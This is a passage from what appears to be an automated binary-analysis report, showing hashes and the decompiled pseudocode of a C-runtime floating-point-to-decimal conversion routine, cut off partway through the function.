Instruction ID: ecfd4650c2f3e44f56942c8b3e26e3f4e7f05b4bab72376ebb6a812983123958
Opcode Fuzzy Hash: 5c15a5bb932e833c74326e9af5861de11b671c3c4ecd3f6cf2f1a7838750a8e5
Instruction Fuzzy Hash: 0CB1F171900219AADF25DF64CC42FEEB7B9AF05304F0444ADFA85E7241DB74AA44CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 0111CECE, Relevance: 13.7, APIs: 3, Strings: 4, Instructions: 1427
COMMONCrypto

Download Yara Rule

C-Code - Quality: 67%

			E0111CECE(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags, signed int _a4, signed int _a8, intOrPtr _a12, intOrPtr* _a16, signed int _a20, intOrPtr _a24) {
				signed int _v8;
				signed int _v32;
				signed int _v36;
				char _v460;
				signed int _v464;
				void _v468;
				signed int _v472;
				signed int _v932;
				signed int _v936;
				signed int _v1392;
				signed int _v1396;
				signed int _v1400;
				char _v1860;
				signed int _v1864;
				signed int _v1865;
				signed int _v1872;
				signed int _v1876;
				signed int _v1880;
				signed int _v1884;
				signed int _v1888;
				signed int _v1892;
				signed int _v1896;
				intOrPtr _v1900;
				signed int _v1904;
				signed int _v1908;
				signed int _v1912;
				signed int _v1916;
				signed int _v1920;
				signed int _v1924;
				signed int _v1928;
				char _v1936;
				char _v1944;
				char _v2404;
				signed int _v2408;
				signed int _t743;
				signed int _t753;
				signed int _t754;
				intOrPtr _t763;
				signed int _t764;
				intOrPtr _t767;
				intOrPtr _t770;
				intOrPtr _t772;
				intOrPtr _t773;
				void* _t774;
				signed int _t778;
				signed int _t779;
				signed int _t785;
				signed int _t791;
				intOrPtr _t793;
				void* _t794;
				signed int _t795;
				signed int _t796;
				signed int _t797;
				signed int _t806;
				signed int _t811;
				signed int _t812;
				signed int _t813;
				signed int _t816;
				signed int _t817;
				signed int _t818;
				signed int _t820;
				signed int _t821;
				signed int _t822;
				signed int _t823;
				signed int _t828;
				signed int _t829;
				signed int _t835;
				signed int _t836;
				signed int _t839;
				signed int _t844;
				signed int _t852;
				signed int* _t855;
				signed int _t859;
				signed int _t870;
				signed int _t871;
				signed int _t873;
				char* _t874;
				signed int _t877;
				signed int _t881;
				signed int _t882;
				signed int _t887;
				signed int _t889;
				signed int _t894;
				signed int _t903;
				signed int _t906;
				signed int _t908;
				signed int _t911;
				signed int _t912;
				signed int _t913;
				signed int _t916;
				signed int _t929;
				signed int _t930;
				signed int _t932;
				char* _t933;
				signed int _t936;
				signed int _t940;
				signed int _t941;
				signed int* _t943;
				signed int _t946;
				signed int _t948;
				signed int _t953;
				signed int _t961;
				signed int _t964;
				signed int _t968;
				signed int* _t975;
				intOrPtr _t977;
				void* _t978;
				intOrPtr* _t980;
				signed int* _t984;
				unsigned int _t995;
				signed int _t996;
				void* _t999;
				signed int _t1000;
				void* _t1002;
				signed int _t1003;
				signed int _t1004;
				signed int _t1005;
				signed int _t1015;
				signed int _t1020;
				signed int _t1023;
				unsigned int _t1026;
				signed int _t1027;
				void* _t1030;
				signed int _t1031;
				void* _t1033;
				signed int _t1034;
				signed int _t1035;
				signed int _t1036;
				signed int _t1041;
				signed int* _t1046;
				signed int _t1048;
				signed int _t1058;
				void _t1061;
				signed int _t1064;
				void* _t1067;
				void* _t1074;
				signed int _t1080;
				signed int _t1081;
				signed int _t1084;
				signed int _t1085;
				signed int _t1087;
				signed int _t1088;
				signed int _t1089;
				signed int _t1093;
				signed int _t1097;
				signed int _t1098;
				signed int _t1099;
				signed int _t1101;
				signed int _t1102;
				signed int _t1103;
				signed int _t1104;
				signed int _t1105;
				signed int _t1106;
				signed int _t1108;
				signed int _t1109;
				signed int _t1110;
				signed int _t1111;
				signed int _t1112;
				signed int _t1113;
				unsigned int _t1114;
				void* _t1117;
				intOrPtr _t1119;
				signed int _t1120;
				signed int _t1121;
				signed int _t1122;
				signed int* _t1126;
				void* _t1130;
				void* _t1131;
				signed int _t1132;
				signed int _t1133;
				signed int _t1134;
				signed int _t1137;
				signed int _t1138;
				signed int _t1143;
				void* _t1145;
				signed int _t1146;
				signed int _t1149;
				char _t1154;
				signed int _t1156;
				signed int _t1157;
				signed int _t1158;
				signed int _t1159;
				signed int _t1160;
				signed int _t1161;
				signed int _t1162;
				signed int _t1166;
				signed int _t1167;
				signed int _t1168;
				signed int _t1169;
				signed int _t1170;
				unsigned int _t1173;
				void* _t1177;
				void* _t1178;
				unsigned int _t1179;
				signed int _t1184;
				signed int _t1185;
				signed int _t1187;
				signed int _t1188;
				intOrPtr* _t1190;
				signed int _t1191;
				signed int _t1193;
				signed int _t1194;
				signed int _t1197;
				signed int _t1199;
				signed int _t1200;
				void* _t1201;
				signed int _t1202;
				signed int _t1203;
				signed int _t1204;
				void* _t1207;
				signed int _t1208;
				signed int _t1209;
				signed int _t1210;
				signed int _t1211;
				signed int _t1212;
				signed int* _t1215;
				signed int _t1216;
				signed int _t1217;
				signed int _t1218;
				signed int _t1219;
				intOrPtr* _t1221;
				intOrPtr* _t1222;
				signed int _t1224;
				signed int _t1226;
				signed int _t1229;
				signed int _t1235;
				signed int _t1239;
				signed int _t1240;
				signed int _t1245;
				signed int _t1248;
				signed int _t1249;
				signed int _t1250;
				signed int _t1251;
				signed int _t1252;
				signed int _t1253;
				signed int _t1255;
				signed int _t1256;
				signed int _t1257;
				signed int _t1258;
				signed int _t1260;
				signed int _t1261;
				signed int _t1262;
				signed int _t1263;
				signed int _t1264;
				signed int _t1266;
				signed int _t1267;
				signed int _t1269;
				signed int _t1271;
				signed int _t1273;
				signed int _t1276;
				signed int _t1278;
				signed int* _t1279;
				signed int* _t1282;
				signed int _t1291;

				_t1145 = __edx;
				_t1276 = _t1278;
				_t1279 = _t1278 - 0x964;
				_t743 =  *0x112d668; // 0xf5f1ec05
				_v8 = _t743 ^ _t1276;
				_t1058 = _a20;
				_push(__esi);
				_push(__edi);
				_t1190 = _a16;
				_v1924 = _t1190;
				_v1920 = _t1058;
				E0111C9F6( &_v1944, __eflags);
				_t1239 = _a8;
				_t748 = 0x2d;
				if((_t1239 & 0x80000000) == 0) {
					_t748 = 0x120;
				}
				 *_t1190 = _t748;
				 *((intOrPtr*)(_t1190 + 8)) = _t1058;
				_t1191 = _a4;
				if((_t1239 & 0x7ff00000) != 0) {
					L5:
					_t753 = E01118FD4( &_a4);
					_pop(_t1073);
					__eflags = _t753;
					if(_t753 != 0) {
						_t1073 = _v1924;
						 *((intOrPtr*)(_v1924 + 4)) = 1;
					}
					_t754 = _t753 - 1;
					__eflags = _t754;
					if(_t754 == 0) {
						_push("1#INF");
						goto L308;
					} else {
						_t778 = _t754 - 1;
						__eflags = _t778;
						if(_t778 == 0) {
							_push("1#QNAN");
							goto L308;
						} else {
							_t779 = _t778 - 1;
							__eflags = _t779;
							if(_t779 == 0) {
								_push("1#SNAN");
								goto L308;
							} else {
								__eflags = _t779 == 1;
								if(_t779 == 1) {
									_push("1#IND");
									goto L308;
								} else {
									_v1928 = _v1928 & 0x00000000;
									_a4 = _t1191;
									_a8 = _t1239 & 0x7fffffff;
									_t1291 = _a4;
									asm("fst qword [ebp-0x768]");
									_t1193 = _v1896;
									_v1916 = _a12 + 1;
									_t1080 = _t1193 >> 0x14;
									_t785 = _t1080 & 0x000007ff;
									__eflags = _t785;
									if(_t785 != 0) {
										_t1146 = 0;
										_t785 = 0;
										__eflags = 0;
									} else {
										_t1146 = 1;
									}
									_t1194 = _t1193 & 0x000fffff;
									_t1061 = _v1900 + _t785;
									asm("adc edi, esi");
									__eflags = _t1146;
									_t1081 = _t1080 & 0x000007ff;
									_t1245 = _t1081 - 0x434 + (0 | _t1146 != 0x00000000) + 1;
									_v1872 = _t1245;
									E0111EA40(_t1081, _t1291);
									_push(_t1081);
									_push(_t1081);
									 *_t1279 = _t1291;
									_t791 = E011218A0(E0111EB50(_t1194, _t1245), _t1291);
									_v1904 = _t791;
									__eflags = _t791 - 0x7fffffff;
									if(_t791 == 0x7fffffff) {
										L16:
										__eflags = 0;
										_v1904 = 0;
									} else {
										__eflags = _t791 - 0x80000000;
										if(_t791 == 0x80000000) {
											goto L16;
										}
									}
									_v468 = _t1061;
									__eflags = _t1194;
									_v464 = _t1194;
									_t1064 = (0 | _t1194 != 0x00000000) + 1;
									_v472 = _t1064;
									__eflags = _t1245;
									if(_t1245 < 0) {
										__eflags = _t1245 - 0xfffffc02;
										if(_t1245 == 0xfffffc02) {
											L101:
											_t793 =  *((intOrPtr*)(_t1276 + _t1064 * 4 - 0x1d4));
											_t195 =  &_v1896;
											 *_t195 = _v1896 & 0x00000000;
											__eflags =  *_t195;
											asm("bsr eax, eax");
											if( *_t195 == 0) {
												_t1084 = 0;
												__eflags = 0;
											} else {
												_t1084 = _t793 + 1;
											}
											_t794 = 0x20;
											_t795 = _t794 - _t1084;
											__eflags = _t795 - 1;
											_t796 = _t795 & 0xffffff00 | _t795 - 0x00000001 > 0x00000000;
											__eflags = _t1064 - 0x73;
											_v1865 = _t796;
											_t1085 = _t1084 & 0xffffff00 | _t1064 - 0x00000073 > 0x00000000;
											__eflags = _t1064 - 0x73;
											if(_t1064 != 0x73) {
												L107:
												_t797 = 0;
												__eflags = 0;
											} else {
												__eflags = _t796;
												if(_t796 == 0) {
													goto L107;
												} else {
													_t797 = 1;
												}
											}
											__eflags = _t1085;
											if(_t1085 != 0) {
												L126:
												_v1400 = _v1400 & 0x00000000;
												_t224 =  &_v472;
												 *_t224 = _v472 & 0x00000000;
												__eflags =  *_t224;
												E0111B3C1( &_v468, 0x1cc,  &_v1396, 0);
												_t1279 =  &(_t1279[4]);
											} else {
												__eflags = _t797;
												if(_t797 != 0) {
													goto L126;
												} else {
													_t1112 = 0x72;
													__eflags = _t1064 - _t1112;
													if(_t1064 < _t1112) {
														_t1112 = _t1064;
													}
													__eflags = _t1112 - 0xffffffff;
													if(_t1112 != 0xffffffff) {
														_t1263 = _t1112;
														_t1221 =  &_v468 + _t1112 * 4;
														_v1880 = _t1221;
														while(1) {
															__eflags = _t1263 - _t1064;
															if(_t1263 >= _t1064) {
																_t208 =  &_v1876;
																 *_t208 = _v1876 & 0x00000000;
																__eflags =  *_t208;
															} else {
																_v1876 =  *_t1221;
															}
															_t210 = _t1263 - 1; // 0x70
															__eflags = _t210 - _t1064;
															if(_t210 >= _t1064) {
																_t1173 = 0;
																__eflags = 0;
															} else {
																_t1173 =  *(_t1221 - 4);
															}
															_t1221 = _t1221 - 4;
															_t975 = _v1880;
															_t1263 = _t1263 - 1;
															 *_t975 = _t1173 >> 0x0000001f ^ _v1876 + _v1876;
															_v1880 = _t975 - 4;
															__eflags = _t1263 - 0xffffffff;
															if(_t1263 == 0xffffffff) {
																break;
															}
															_t1064 = _v472;
														}
														_t1245 = _v1872;
													}
													__eflags = _v1865;
													if(_v1865 == 0) {
														_v472 = _t1112;
													} else {
														_t218 = _t1112 + 1; // 0x73
														_v472 = _t218;
													}
												}
											}
											_t1197 = 1 - _t1245;
											E0110F1A0(_t1197,  &_v1396, 0, 1);
											__eflags = 1;
											 *(_t1276 + 0xbad63d) = 1 << (_t1197 & 0x0000001f);
											_t806 = 0xbadbae;
										} else {
											_v1396 = _v1396 & 0x00000000;
											_t1113 = 2;
											_v1392 = 0x100000;
											_v1400 = _t1113;
											__eflags = _t1064 - _t1113;
											if(_t1064 == _t1113) {
												_t1177 = 0;
												__eflags = 0;
												while(1) {
													_t977 =  *((intOrPtr*)(_t1276 + _t1177 - 0x570));
													__eflags = _t977 -  *((intOrPtr*)(_t1276 + _t1177 - 0x1d0));
													if(_t977 !=  *((intOrPtr*)(_t1276 + _t1177 - 0x1d0))) {
														goto L101;
													}
													_t1177 = _t1177 + 4;
													__eflags = _t1177 - 8;
													if(_t1177 != 8) {
														continue;
													} else {
														_t166 =  &_v1896;
														 *_t166 = _v1896 & 0x00000000;
														__eflags =  *_t166;
														asm("bsr eax, edi");
														if( *_t166 == 0) {
															_t1178 = 0;
															__eflags = 0;
														} else {
															_t1178 = _t977 + 1;
														}
														_t978 = 0x20;
														_t1264 = _t1113;
														__eflags = _t978 - _t1178 - _t1113;
														_t980 =  &_v460;
														_v1880 = _t980;
														_t1222 = _t980;
														_t171 =  &_v1865;
														 *_t171 = _t978 - _t1178 - _t1113 > 0;
														__eflags =  *_t171;
														while(1) {
															__eflags = _t1264 - _t1064;
															if(_t1264 >= _t1064) {
																_t173 =  &_v1876;
																 *_t173 = _v1876 & 0x00000000;
																__eflags =  *_t173;
															} else {
																_v1876 =  *_t1222;
															}
															_t175 = _t1264 - 1; // 0x0
															__eflags = _t175 - _t1064;
															if(_t175 >= _t1064) {
																_t1179 = 0;
																__eflags = 0;
															} else {
																_t1179 =  *(_t1222 - 4);
															}
															_t1222 = _t1222 - 4;
															_t984 = _v1880;
															_t1264 = _t1264 - 1;
															 *_t984 = _t1179 >> 0x0000001e ^ _v1876 << 0x00000002;
															_v1880 = _t984 - 4;
															__eflags = _t1264 - 0xffffffff;
															if(_t1264 == 0xffffffff) {
																break;
															}
															_t1064 = _v472;
														}
														__eflags = _v1865;
														_t1114 = _t1113 - _v1872;
														_v472 = (0 | _v1865 != 0x00000000) + _t1113;
														_t1224 = _t1114 >> 5;
														_v1884 = _t1114;
														_t1266 = _t1224 << 2;
														E0110F1A0(_t1224,  &_v1396, 0, _t1266);
														 *(_t1276 + _t1266 - 0x570) = 1 << (_v1884 & 0x0000001f);
														_t806 = _t1224 + 1;
													}
													goto L128;
												}
											}
											goto L101;
										}
										L128:
										_v1400 = _t806;
										_t1067 = 0x1cc;
										_v936 = _t806;
										__eflags = _t806 << 2;
										E0111B3C1( &_v932, 0x1cc,  &_v1396, _t806 << 2);
										_t1282 =  &(_t1279[7]);
									} else {
										_v1396 = _v1396 & 0x00000000;
										_t1267 = 2;
										_v1392 = 0x100000;
										_v1400 = _t1267;
										__eflags = _t1064 - _t1267;
										if(_t1064 != _t1267) {
											L53:
											_t995 = _v1872 + 1;
											_t996 = _t995 & 0x0000001f;
											_t1117 = 0x20;
											_v1876 = _t996;
											_t1226 = _t995 >> 5;
											_v1872 = _t1226;
											_v1908 = _t1117 - _t996;
											_t999 = E0110E600(1, _t1117 - _t996, 0);
											_t1119 =  *((intOrPtr*)(_t1276 + _t1064 * 4 - 0x1d4));
											_t1000 = _t999 - 1;
											_t108 =  &_v1896;
											 *_t108 = _v1896 & 0x00000000;
											__eflags =  *_t108;
											asm("bsr ecx, ecx");
											_v1884 = _t1000;
											_v1912 =  !_t1000;
											if( *_t108 == 0) {
												_t1120 = 0;
												__eflags = 0;
											} else {
												_t1120 = _t1119 + 1;
											}
											_t1002 = 0x20;
											_t1003 = _t1002 - _t1120;
											_t1184 = _t1064 + _t1226;
											__eflags = _v1876 - _t1003;
											_v1892 = _t1184;
											_t1004 = _t1003 & 0xffffff00 | _v1876 - _t1003 > 0x00000000;
											__eflags = _t1184 - 0x73;
											_v1865 = _t1004;
											_t1121 = _t1120 & 0xffffff00 | _t1184 - 0x00000073 > 0x00000000;
											__eflags = _t1184 - 0x73;
											if(_t1184 != 0x73) {
												L59:
												_t1005 = 0;
												__eflags = 0;
											} else {
												__eflags = _t1004;
												if(_t1004 == 0) {
													goto L59;
												} else {
													_t1005 = 1;
												}
											}
											__eflags = _t1121;
											if(_t1121 != 0) {
												L81:
												__eflags = 0;
												_t1067 = 0x1cc;
												_v1400 = 0;
												_v472 = 0;
												E0111B3C1( &_v468, 0x1cc,  &_v1396, 0);
												_t1279 =  &(_t1279[4]);
											} else {
												__eflags = _t1005;
												if(_t1005 != 0) {
													goto L81;
												} else {
													_t1122 = 0x72;
													__eflags = _t1184 - _t1122;
													if(_t1184 >= _t1122) {
														_t1184 = _t1122;
														_v1892 = _t1122;
													}
													_t1015 = _t1184;
													_v1880 = _t1015;
													__eflags = _t1184 - 0xffffffff;
													if(_t1184 != 0xffffffff) {
														_t1185 = _v1872;
														_t1269 = _t1184 - _t1185;
														__eflags = _t1269;
														_t1126 =  &_v468 + _t1269 * 4;
														_v1888 = _t1126;
														while(1) {
															__eflags = _t1015 - _t1185;
															if(_t1015 < _t1185) {
																break;
															}
															__eflags = _t1269 - _t1064;
															if(_t1269 >= _t1064) {
																_t1229 = 0;
																__eflags = 0;
															} else {
																_t1229 =  *_t1126;
															}
															__eflags = _t1269 - 1 - _t1064;
															if(_t1269 - 1 >= _t1064) {
																_t1020 = 0;
																__eflags = 0;
															} else {
																_t1020 =  *(_t1126 - 4);
															}
															_t1023 = _v1880;
															_t1126 = _v1888 - 4;
															_v1888 = _t1126;
															 *(_t1276 + _t1023 * 4 - 0x1d0) = (_t1229 & _v1884) << _v1876 | (_t1020 & _v1912) >> _v1908;
															_t1015 = _t1023 - 1;
															_t1269 = _t1269 - 1;
															_v1880 = _t1015;
															__eflags = _t1015 - 0xffffffff;
															if(_t1015 != 0xffffffff) {
																_t1064 = _v472;
																continue;
															}
															break;
														}
														_t1184 = _v1892;
														_t1226 = _v1872;
														_t1267 = 2;
													}
													__eflags = _t1226;
													if(_t1226 != 0) {
														__eflags = 0;
														memset( &_v468, 0, _t1226 << 2);
														_t1279 =  &(_t1279[3]);
													}
													__eflags = _v1865;
													_t1067 = 0x1cc;
													if(_v1865 == 0) {
														_v472 = _t1184;
													} else {
														_v472 = _t1184 + 1;
													}
												}
											}
											_v1392 = _v1392 & 0x00000000;
											_v1396 = _t1267;
											_v1400 = 1;
											_v936 = 1;
											_push(4);
										} else {
											_t1130 = 0;
											__eflags = 0;
											while(1) {
												__eflags =  *((intOrPtr*)(_t1276 + _t1130 - 0x570)) -  *((intOrPtr*)(_t1276 + _t1130 - 0x1d0));
												if( *((intOrPtr*)(_t1276 + _t1130 - 0x570)) !=  *((intOrPtr*)(_t1276 + _t1130 - 0x1d0))) {
													goto L53;
												}
												_t1130 = _t1130 + 4;
												__eflags = _t1130 - 8;
												if(_t1130 != 8) {
													continue;
												} else {
													_t1026 = _v1872 + 2;
													_t1027 = _t1026 & 0x0000001f;
													_t1131 = 0x20;
													_t1132 = _t1131 - _t1027;
													_v1888 = _t1027;
													_t1271 = _t1026 >> 5;
													_v1876 = _t1271;
													_v1908 = _t1132;
													_t1030 = E0110E600(1, _t1132, 0);
													_v1896 = _v1896 & 0x00000000;
													_t1031 = _t1030 - 1;
													__eflags = _t1031;
													asm("bsr ecx, edi");
													_v1884 = _t1031;
													_v1912 =  !_t1031;
													if(_t1031 == 0) {
														_t1133 = 0;
														__eflags = 0;
													} else {
														_t1133 = _t1132 + 1;
													}
													_t1033 = 0x20;
													_t1034 = _t1033 - _t1133;
													_t1187 = _t1271 + 2;
													__eflags = _v1888 - _t1034;
													_v1880 = _t1187;
													_t1035 = _t1034 & 0xffffff00 | _v1888 - _t1034 > 0x00000000;
													__eflags = _t1187 - 0x73;
													_v1865 = _t1035;
													_t1134 = _t1133 & 0xffffff00 | _t1187 - 0x00000073 > 0x00000000;
													__eflags = _t1187 - 0x73;
													if(_t1187 != 0x73) {
														L28:
														_t1036 = 0;
														__eflags = 0;
													} else {
														__eflags = _t1035;
														if(_t1035 == 0) {
															goto L28;
														} else {
															_t1036 = 1;
														}
													}
													__eflags = _t1134;
													if(_t1134 != 0) {
														L50:
														__eflags = 0;
														_t1067 = 0x1cc;
														_v1400 = 0;
														_v472 = 0;
														E0111B3C1( &_v468, 0x1cc,  &_v1396, 0);
														_t1279 =  &(_t1279[4]);
													} else {
														__eflags = _t1036;
														if(_t1036 != 0) {
															goto L50;
														} else {
															_t1137 = 0x72;
															__eflags = _t1187 - _t1137;
															if(_t1187 >= _t1137) {
																_t1187 = _t1137;
																_v1880 = _t1137;
															}
															_t1138 = _t1187;
															_v1892 = _t1138;
															__eflags = _t1187 - 0xffffffff;
															if(_t1187 != 0xffffffff) {
																_t1188 = _v1876;
																_t1273 = _t1187 - _t1188;
																__eflags = _t1273;
																_t1046 =  &_v468 + _t1273 * 4;
																_v1872 = _t1046;
																while(1) {
																	__eflags = _t1138 - _t1188;
																	if(_t1138 < _t1188) {
																		break;
																	}
																	__eflags = _t1273 - _t1064;
																	if(_t1273 >= _t1064) {
																		_t1235 = 0;
																		__eflags = 0;
																	} else {
																		_t1235 =  *_t1046;
																	}
																	__eflags = _t1273 - 1 - _t1064;
																	if(_t1273 - 1 >= _t1064) {
																		_t1048 = 0;
																		__eflags = 0;
																	} else {
																		_t1048 =  *(_v1872 - 4);
																	}
																	_t1143 = _v1892;
																	 *(_t1276 + _t1143 * 4 - 0x1d0) = (_t1048 & _v1912) >> _v1908 | (_t1235 & _v1884) << _v1888;
																	_t1138 = _t1143 - 1;
																	_t1273 = _t1273 - 1;
																	_t1046 = _v1872 - 4;
																	_v1892 = _t1138;
																	_v1872 = _t1046;
																	__eflags = _t1138 - 0xffffffff;
																	if(_t1138 != 0xffffffff) {
																		_t1064 = _v472;
																		continue;
																	}
																	break;
																}
																_t1187 = _v1880;
																_t1271 = _v1876;
															}
															__eflags = _t1271;
															if(_t1271 != 0) {
																__eflags = 0;
																memset( &_v468, 0, _t1271 << 2);
																_t1279 =  &(_t1279[3]);
															}
															__eflags = _v1865;
															_t1067 = 0x1cc;
															if(_v1865 == 0) {
																_v472 = _t1187;
															} else {
																_v472 = _t1187 + 1;
															}
														}
													}
													_v1392 = _v1392 & 0x00000000;
													_t1041 = 4;
													__eflags = 1;
													_v1396 = _t1041;
													_v1400 = 1;
													_v936 = 1;
													_push(_t1041);
												}
												goto L52;
											}
											goto L53;
										}
										L52:
										_push( &_v1396);
										_push(_t1067);
										_push( &_v932);
										E0111B3C1();
										_t1282 =  &(_t1279[4]);
									}
									_t811 = _v1904;
									_t1087 = 0xa;
									_v1912 = _t1087;
									__eflags = _t811;
									if(_t811 < 0) {
										_t812 =  ~_t811;
										_t813 = _t812 / _t1087;
										_v1880 = _t813;
										_t1088 = _t812 % _t1087;
										_v1884 = _t1088;
										__eflags = _t813;
										if(_t813 == 0) {
											L249:
											__eflags = _t1088;
											if(_t1088 != 0) {
												_t852 =  *(0x1126d6c + _t1088 * 4);
												_v1896 = _t852;
												__eflags = _t852;
												if(_t852 == 0) {
													L260:
													__eflags = 0;
													_push(0);
													_v472 = 0;
													_v2408 = 0;
													goto L261;
												} else {
													__eflags = _t852 - 1;
													if(_t852 != 1) {
														_t1099 = _v472;
														__eflags = _t1099;
														if(_t1099 != 0) {
															_t1204 = 0;
															_t1253 = 0;
															__eflags = 0;
															do {
																_t1158 = _t852 *  *(_t1276 + _t1253 * 4 - 0x1d0) >> 0x20;
																 *(_t1276 + _t1253 * 4 - 0x1d0) = _t852 *  *(_t1276 + _t1253 * 4 - 0x1d0) + _t1204;
																_t852 = _v1896;
																asm("adc edx, 0x0");
																_t1253 = _t1253 + 1;
																_t1204 = _t1158;
																__eflags = _t1253 - _t1099;
															} while (_t1253 != _t1099);
															__eflags = _t1204;
															if(_t1204 != 0) {
																_t859 = _v472;
																__eflags = _t859 - 0x73;
																if(_t859 >= 0x73) {
																	goto L260;
																} else {
																	 *(_t1276 + _t859 * 4 - 0x1d0) = _t1204;
																	_v472 = _v472 + 1;
																}
															}
														}
													}
												}
											}
										} else {
											do {
												__eflags = _t813 - 0x26;
												if(_t813 > 0x26) {
													_t813 = 0x26;
												}
												_t1100 =  *(0x1126cd6 + _t813 * 4) & 0x000000ff;
												_v1872 = _t813;
												_v1400 = ( *(0x1126cd6 + _t813 * 4) & 0x000000ff) + ( *(0x1126cd7 + _t813 * 4) & 0x000000ff);
												E0110F1A0(_t1100 << 2,  &_v1396, 0, _t1100 << 2);
												_t870 = E0110F300( &(( &_v1396)[_t1100]), 0x11263d0 + ( *(0x1126cd4 + _v1872 * 4) & 0x0000ffff) * 4, ( *(0x1126cd7 + _t813 * 4) & 0x000000ff) << 2);
												_t1101 = _v1400;
												_t1282 =  &(_t1282[6]);
												_v1892 = _t1101;
												__eflags = _t1101 - 1;
												if(_t1101 > 1) {
													__eflags = _v472 - 1;
													if(_v472 > 1) {
														__eflags = _t1101 - _v472;
														_t1207 =  &_v1396;
														_t871 = _t870 & 0xffffff00 | _t1101 - _v472 > 0x00000000;
														__eflags = _t871;
														if(_t871 != 0) {
															_t1159 =  &_v468;
														} else {
															_t1207 =  &_v468;
															_t1159 =  &_v1396;
														}
														_v1908 = _t1159;
														__eflags = _t871;
														if(_t871 == 0) {
															_t1101 = _v472;
														}
														_v1876 = _t1101;
														__eflags = _t871;
														if(_t871 != 0) {
															_v1892 = _v472;
														}
														_t1160 = 0;
														_t1255 = 0;
														_v1864 = 0;
														__eflags = _t1101;
														if(_t1101 == 0) {
															L243:
															_v472 = _t1160;
															_t873 = _t1160 << 2;
															__eflags = _t873;
															_push(_t873);
															_t874 =  &_v1860;
															goto L244;
														} else {
															_t1208 = _t1207 -  &_v1860;
															__eflags = _t1208;
															_v1928 = _t1208;
															do {
																_t881 =  *(_t1276 + _t1208 + _t1255 * 4 - 0x740);
																_v1896 = _t881;
																__eflags = _t881;
																if(_t881 != 0) {
																	_t882 = 0;
																	_t1209 = 0;
																	_t1102 = _t1255;
																	_v1888 = 0;
																	__eflags = _v1892;
																	if(_v1892 == 0) {
																		L240:
																		__eflags = _t1102 - 0x73;
																		if(_t1102 == 0x73) {
																			goto L258;
																		} else {
																			_t1208 = _v1928;
																			_t1101 = _v1876;
																			goto L242;
																		}
																	} else {
																		while(1) {
																			__eflags = _t1102 - 0x73;
																			if(_t1102 == 0x73) {
																				goto L235;
																			}
																			__eflags = _t1102 - _t1160;
																			if(_t1102 == _t1160) {
																				 *(_t1276 + _t1102 * 4 - 0x740) =  *(_t1276 + _t1102 * 4 - 0x740) & 0x00000000;
																				_t894 = _t882 + 1 + _t1255;
																				__eflags = _t894;
																				_v1864 = _t894;
																				_t882 = _v1888;
																			}
																			_t889 =  *(_v1908 + _t882 * 4);
																			asm("adc edx, 0x0");
																			 *(_t1276 + _t1102 * 4 - 0x740) =  *(_t1276 + _t1102 * 4 - 0x740) + _t889 * _v1896 + _t1209;
																			asm("adc edx, 0x0");
																			_t882 = _v1888 + 1;
																			_t1102 = _t1102 + 1;
																			_v1888 = _t882;
																			_t1209 = _t889 * _v1896 >> 0x20;
																			_t1160 = _v1864;
																			__eflags = _t882 - _v1892;
																			if(_t882 != _v1892) {
																				continue;
																			} else {
																				goto L235;
																			}
																			while(1) {
																				L235:
																				__eflags = _t1209;
																				if(_t1209 == 0) {
																					goto L240;
																				}
																				__eflags = _t1102 - 0x73;
																				if(_t1102 == 0x73) {
																					goto L258;
																				} else {
																					__eflags = _t1102 - _t1160;
																					if(_t1102 == _t1160) {
																						_t558 = _t1276 + _t1102 * 4 - 0x740;
																						 *_t558 =  *(_t1276 + _t1102 * 4 - 0x740) & 0x00000000;
																						__eflags =  *_t558;
																						_t564 = _t1102 + 1; // 0x1
																						_v1864 = _t564;
																					}
																					_t887 = _t1209;
																					_t1209 = 0;
																					 *(_t1276 + _t1102 * 4 - 0x740) =  *(_t1276 + _t1102 * 4 - 0x740) + _t887;
																					_t1160 = _v1864;
																					asm("adc edi, edi");
																					_t1102 = _t1102 + 1;
																					continue;
																				}
																				goto L246;
																			}
																			goto L240;
																		}
																		goto L235;
																	}
																} else {
																	__eflags = _t1255 - _t1160;
																	if(_t1255 == _t1160) {
																		 *(_t1276 + _t1255 * 4 - 0x740) =  *(_t1276 + _t1255 * 4 - 0x740) & _t881;
																		_t526 = _t1255 + 1; // 0x1
																		_t1160 = _t526;
																		_v1864 = _t1160;
																	}
																	goto L242;
																}
																goto L246;
																L242:
																_t1255 = _t1255 + 1;
																__eflags = _t1255 - _t1101;
															} while (_t1255 != _t1101);
															goto L243;
														}
													} else {
														_t1210 = _v468;
														_v472 = _t1101;
														E0111B3C1( &_v468, _t1067,  &_v1396, _t1101 << 2);
														_t1282 =  &(_t1282[4]);
														__eflags = _t1210;
														if(_t1210 == 0) {
															goto L203;
														} else {
															__eflags = _t1210 - 1;
															if(_t1210 == 1) {
																goto L245;
															} else {
																__eflags = _v472;
																if(_v472 == 0) {
																	goto L245;
																} else {
																	_t1103 = 0;
																	_v1896 = _v472;
																	_t1256 = 0;
																	__eflags = 0;
																	do {
																		_t903 = _t1210;
																		_t1161 = _t903 *  *(_t1276 + _t1256 * 4 - 0x1d0) >> 0x20;
																		 *(_t1276 + _t1256 * 4 - 0x1d0) = _t903 *  *(_t1276 + _t1256 * 4 - 0x1d0) + _t1103;
																		asm("adc edx, 0x0");
																		_t1256 = _t1256 + 1;
																		_t1103 = _t1161;
																		__eflags = _t1256 - _v1896;
																	} while (_t1256 != _v1896);
																	goto L208;
																}
															}
														}
													}
												} else {
													_t1211 = _v1396;
													__eflags = _t1211;
													if(_t1211 != 0) {
														__eflags = _t1211 - 1;
														if(_t1211 == 1) {
															goto L245;
														} else {
															__eflags = _v472;
															if(_v472 == 0) {
																goto L245;
															} else {
																_t1104 = 0;
																_v1896 = _v472;
																_t1257 = 0;
																__eflags = 0;
																do {
																	_t908 = _t1211;
																	_t1162 = _t908 *  *(_t1276 + _t1257 * 4 - 0x1d0) >> 0x20;
																	 *(_t1276 + _t1257 * 4 - 0x1d0) = _t908 *  *(_t1276 + _t1257 * 4 - 0x1d0) + _t1104;
																	asm("adc edx, 0x0");
																	_t1257 = _t1257 + 1;
																	_t1104 = _t1162;
																	__eflags = _t1257 - _v1896;
																} while (_t1257 != _v1896);
																L208:
																__eflags = _t1103;
																if(_t1103 == 0) {
																	goto L245;
																} else {
																	_t906 = _v472;
																	__eflags = _t906 - 0x73;
																	if(_t906 >= 0x73) {
																		L258:
																		_v2408 = 0;
																		_v472 = 0;
																		E0111B3C1( &_v468, _t1067,  &_v2404, 0);
																		_t1282 =  &(_t1282[4]);
																		_t877 = 0;
																	} else {
